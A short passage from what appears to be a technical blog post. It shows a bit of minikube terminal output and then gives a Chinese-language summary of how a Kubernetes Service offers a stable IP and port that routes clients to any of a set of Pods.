Hi 172.17.0.1, I am 172.17.0.5root@minikube:/#小总结Kubemetes 服务是一种为一组功能相同的 Pod 提供单一不变的接入点的资源。当服务存在时,它的IP地址和端口不会改变。客户端通过IP地址和端口号建立连接,这些连接会被路由到提供该服务的任意一个 Pod 上。通过这种方式,客户端不需要知道每个单独的提供服务的 Pod 的地址,这样这些 Pod 就可以在集群中随时被创建或移除。If you have any questions or any bugs are found, please feel free to contact me.Your comments and suggestions are welcome!